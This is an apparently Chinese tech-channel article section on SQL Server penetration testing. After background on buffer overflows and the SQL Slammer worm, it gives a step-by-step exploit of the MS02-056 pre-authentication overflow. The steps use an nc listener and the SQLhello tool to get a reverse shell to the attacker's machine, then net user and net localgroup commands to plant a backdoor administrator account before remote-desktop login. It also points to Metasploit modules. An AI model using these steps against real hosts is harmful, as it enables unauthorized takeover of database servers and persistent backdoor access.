技术开发 频道

SQL Server渗透测试方法

  4.缓冲汉溢出漏洞的利用

  利用缓冲区溢出漏洞进行渗透是最常用的方法。其实,缓冲区溢出漏洞利用的原理很简单:向存在缓冲区溢出漏洞程序中一个有限空间的缓冲区拷贝一个过长的字符串,这可能会出现两种后果:一是过长的字符串覆盖了相临的存储单元而造成程序瘫痪,甚至造成宕机、系统或进程重启等;二是可让攻击者运行恶意代码,执行任意指令,甚至获得超级权限等。

  有资料显示,许多攻击事件与缓冲区溢出漏洞有关,在网络空间中利用这种缓冲区溢出漏洞而发起的攻击屡见不鲜。早在1988年,莫里斯就利用Unix程序不限制输入长度的漏洞进行恶意攻击,并感染到其他机器上。2003年“SQL slammer”蠕虫王的发作就是利用未及时更新补丁的MS SQL Server数据库缓冲区溢出漏洞获得非法权限(MS 02-039 Microsoft SQL Server 2000 Resolution服务远程堆缓冲区溢出漏洞),并感染其他机器的。

  下面我们分析SQL Server的另一个缓冲区溢出漏洞(MS 02-056 Microsoft SQL Server预验证过程远程缓冲区溢出漏洞,也称SQL Hello溢出)的利用。SQL Hello溢出可以针对Microsoft SQL Server的预验证过程存在的问题,通过连接TCP 1433端口就可以进行缓冲区溢出攻击。由于问题出现在验证之前,所以无需验证就可以进行攻击,能使攻击者以SQL进程权限在系统上执行任意指令。Sqlhello是溢出反向连接工具,下面介绍它的使用。

  首先,用工具NC在本机建立一个TCP监听端口,等待反向连接。NC是一个非标准的telnet客户端程序。在DOS命令提示符下输人命令NC-v-p556,出现表示在等待的省略号。然后,执行Sqlhello进行溢出,使用方法:SQLhello.exe目标主机IP 1433本地IP 556。556是NC监听的端口。最后回到还在监听的NC命令窗体,等待的省略号已经变为了系统的SHELL,这也正是远程主机的命令控制台。SHELL是操作系统的最外层,管理着用户与操作系统交互、通讯、执行等工作的操作。得到了对方的SHELL,就代表着已经拥有了与对方计算机直接沟通、下达命令的平台。

  用Net命令增加用户,并提升权限。在其命令行下输入Net User Administrators test 123456/add的命令,就可以建立一个属于自己名为“test'',密码是123456的普通账户。在将所建用户的权限提升为管理员,敲入Net Localgroup Administrators test/add命令,如图4所示。最后使用本机自带的远程终端软件,敲入刚才溢出的IP以及建立/提升的用户,进行“远程连接”登录,稍等片刻后,就可以管理对方主机了。

  对SQL Server的缓冲区溢出漏洞的利用也可以使用Metasploit工具来完成。Metasploit是一款开源的安全漏洞检测工具。最新版本的MSF包含了180多种当前流行的操作系统和应用软件的exploit,以及100多个shellcode。对SQL Server该工具包括了两种漏洞的溢出攻击插件,如图5所示。

0
相关文章